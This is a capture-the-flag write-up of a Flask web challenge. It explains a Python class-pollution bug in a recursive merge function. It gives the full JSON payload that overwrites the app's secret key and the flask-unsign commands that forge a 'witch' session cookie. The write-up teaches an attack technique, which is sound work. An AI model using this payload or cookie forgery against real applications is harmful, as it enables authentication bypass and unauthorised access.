siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Hansel and Gretel

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

粉碎糖果屋

天 邊一光 找個更好出口
不絕望就自由 圍牆戳穿 以後

https://www.youtube.com/watch?v=FjS50ATT1v0

Hi! We’re Hansel and Gretel! We’ve started a bulletin board with the help of a witch to share our life with you! We heard the witch hid something sweet at somewhere only she has access of, can you help us find it?

Web: http://chall-us.pwnable.hk:30009 , http://chall-hk.pwnable.hk:30009

Attachment: hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz

Note: The bulletin board will be rebuilt every 10 minutes.

Enumeration

Home page:

In here, we can view Hansel and Gretel’s bulletin board, and there’s a post called “Our First Adventure!”.

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/Bauhinia-CTF-2023/Web/Hansel-and-Gretel)-[2023.08.21|9:04:08(HKT)]
└> file hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz 
hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 20480
┌[siunam♥Mercury]-(~/ctf/Bauhinia-CTF-2023/Web/Hansel-and-Gretel)-[2023.08.21|9:04:10(HKT)]
└> tar xf hansel-and-gretel_041a7127b7f1d72ff210f3168158baed.tar.gz 
┌[siunam♥Mercury]-(~/ctf/Bauhinia-CTF-2023/Web/Hansel-and-Gretel)-[2023.08.21|9:04:13(HKT)]
└> ls -lah chall 
total 20K
drwxr-xr-x 3 siunam nam 4.0K Aug 18 02:07 .
drwxr-xr-x 3 siunam nam 4.0K Aug 21 09:04 ..
drwxr-xr-x 3 siunam nam 4.0K Aug 18 02:07 app
-rw-r--r-- 1 siunam nam  258 Aug 18 02:14 Dockerfile
-rw-r--r-- 1 siunam nam   72 Aug 18 02:07 start.sh

Dockerfile:

FROM ubuntu:20.04

ENV FLAG b6actf{test_flag}

RUN apt update && apt install -y python3 python3-pip
RUN pip3 install requests flask flask-session

RUN mkdir /app
COPY app /app
COPY start.sh /start.sh
RUN chmod 555 /start.sh

WORKDIR /app

CMD [ "/start.sh" ]

This Docker image will install Python’s Flask framework and run start.sh:

#!/bin/bash
set -e
while true; do timeout 600 python3 /app/app.py ; done

Then, it’ll run python3 /app/app.py every 10 minutes (600 seconds).

In /app/app.py, we can see there’s a few routes.

Route /flag:

[...]
app = Flask(__name__)
app.config["SECRET_KEY"] = str(os.urandom(32))
app.config["SESSION_COOKIE_HTTPONLY"] = False
app.add_template_global(randint)
[...]
@app.route("/flag")
def flag():
    if session.get("user") != "witch":
        return render_template("template.html", status=403, message="You are not the witch.")
    return render_template("template.html", status=200, message=os.environ["FLAG"])

When the Flask’s session’s user is witch, it’ll render the flag’s value from the environment variable.

Hmm… Which means we need to somehow forge our Flask’s session cookie in order to change the user’s value to witch?

Route /, /load_bulletins:

class Board():
    def __init__(self): pass

    @property
    def pinned_content(self):
        return [{
            "title": "Our First Adventure!", 
            "text": "Today we went to the forest and you can't believe what we've got to! It's a house made out of gingerbread, cake and candy! How sweet it is!"
        }]
    
    current_content = []

    [...]

    def load(self):
        res = self.pinned_content
        if isinstance(self.current_content, list) and len(self.current_content) > 0 and all(["title" in x and "text" in x for x in self.current_content]):
            res.extend(self.current_content)
        if hasattr(self, "new_content") and self.new_content is not None:
            new_content = getattr(self, "new_content")
            self.current_content.extend(new_content)
            res.extend(new_content)
            self.new_content = None
        return res[::-1]
[...]
bulletin_board = Board()
[...]
@app.route("/")
def index():
    session["user"] = "hansel & gretel"
    bulletins = requests.post("http://localhost:3000/load_bulletins").json()
    return render_template("index.html", bulletins=bulletins)

When we go to /, it’ll set our session’s user to hansel & gretel, send a POST request to /load_bulletins route, and render the bulletins JSON data:

@app.route("/load_bulletins", methods=["POST"])
def load_bulletins():
    return bulletin_board.load(), 200, {"Content-Type": "application/json"}

The load() method from class Board will first append the “Our First Adventure!” post, then append other new_content.

But how can we create new_content?

Route /save_bulletins:

@app.route("/save_bulletins", methods=["POST"])
def save_bulletins():
    if not request.is_json:
        raise Exception("Only accept JSON.")
    bulletin_board.save(request.data)
    return {"message": "Bulletins saved."}, 200, {"Content-Type": "application/json"}

When we send a POST request to /save_bulletins, it’ll check the request’s header Content-Type is application/json or not. If it’s correct, call save() method with our request’s data from class Board.

class Board():
    [...]
    def save(self, data):
        data_ = json.loads(data)
        if "new_content" not in data_:
            raise Exception("There is nothing to save.")
        if not isinstance(data_["new_content"], list) and not len(data_["new_content"]) > 0 and not all([isinstance(x, dict) for x in data_["new_content"]]):
            raise Exception("\"new_content\" should be a non-empty list of JSON-like objects.")
        if not all(["title" in x and "text" in x for x in data_["new_content"]]):
            raise Exception("Please check your bulletin format")
        set_(data_, self)
    [...]

In the save() method, it’s basically validating the request’s JSON data matches the following format:

{
    "new_content":
    [
        {
            "title": "foobar",
            "text": "blah"
        }
    ]
}

If it matches, it’ll call function set_ with our request’s JSON data and the bulletin_board object instance as the argument.

def set_(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                set_(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            set_(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

In the above set_() function, it’s basically a recursive merge function. This recursive merge function will take the bulletin_board object instance, and merge our request’s JSON data to it.

Right off the bat, based on my experience, it’s clear that the set_ function is vulnerable to Python’s class pollution (AKA prototype pollution in Python).

Note: For more details about class pollution, you can read Abdulrah33m’s research blog post about “Prototype Pollution in Python”, and one of my web challenge writeup from PwnMe 2023 8 bits: https://siunam321.github.io/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog/.

According to HackTricks, we can overwrite Flask’s secret via exploiting class pollution. If we can overwrite it, we can forge our own session cookie!

Flask’s secret (app.config["SECRET_KEY"]) is to sign Flask’s session cookie.

Exploitation

Let’s test it locally!

app_modified.py:

[...]
@app.route("/check")
def checkIsPolluted():
    print(bulletin_board.__class__.__init__.__globals__['__loader__'].__init__.__globals__['sys'].modules['__main__'].app.secret_key)
    return render_template("template.html", status=200, message=app.config["SECRET_KEY"])

if __name__ == "__main__":
    app.run(host="0.0.0.0", port="3000", debug=True)

In here, I added a new route called /check, and it’ll render and print out the Flask’s secret’s value.

┌[siunam♥Mercury]-(~/ctf/Bauhinia-CTF-2023/Web/Hansel-and-Gretel/chall/app)-[2023.08.21|10:19:38(HKT)]
└> python3 app_modified.py 
 * Serving Flask app 'app_modified'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:3000
 * Running on http://10.69.96.100:3000
[...]

Currently the Flask’s secret is a 32 bits of random strings.

To overwrite it, we can send the following class pollution payload to /save_bulletins POST route:

{
    "new_content":
    [
        {
            "title": "foobar",
            "text": "blah"
        }
    ],
    "__class__":
    {
        "__init__":
        {
            "__globals__":
            {
                "__loader__":
                {
                    "__init__":
                    {
                        "__globals__":
                        {
                            "sys":
                            {
                                "modules":
                                {
                                    "__main__":
                                    {
                                        "app":
                                        {
                                            "secret_key": "pwned"
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

Then, check the secret’s value:

Nice! We successfully overwritten the Flask’s secret!

Let’s do it again on the challenge’s instance!

Then copy the session cookie’s value and decode it via flask-unsign:

┌[siunam♥Mercury]-(~/ctf/Bauhinia-CTF-2023/Web/Hansel-and-Gretel)-[2023.08.21|10:26:58(HKT)]
└> flask-unsign --decode --cookie 'eyJ1c2VyIjoiaGFuc2VsICYgZ3JldGVsIn0.ZOK3eQ.k_ijKh66tNctzYGXOT7mT-D61N4'
{'user': 'hansel & gretel'}

Currently the user claim (key)’s value is hansel & gretel. We can sign the session cookie with our newly polluted secret:

┌[siunam♥Mercury]-(~/ctf/Bauhinia-CTF-2023/Web/Hansel-and-Gretel)-[2023.08.21|10:28:09(HKT)]
└> flask-unsign --sign --cookie "{'user': 'witch'}" --secret 'pwned'                                      
eyJ1c2VyIjoid2l0Y2gifQ.ZOLLvQ.2dNDxgmb-KruQMGetUJEUyDsQrU

Finally, copy the forged session cookie and paste it to the old session cookie, and send a GET request to /flag:

Conclusion

What we’ve learned:

  1. Overwriting Flask’s secret via class pollution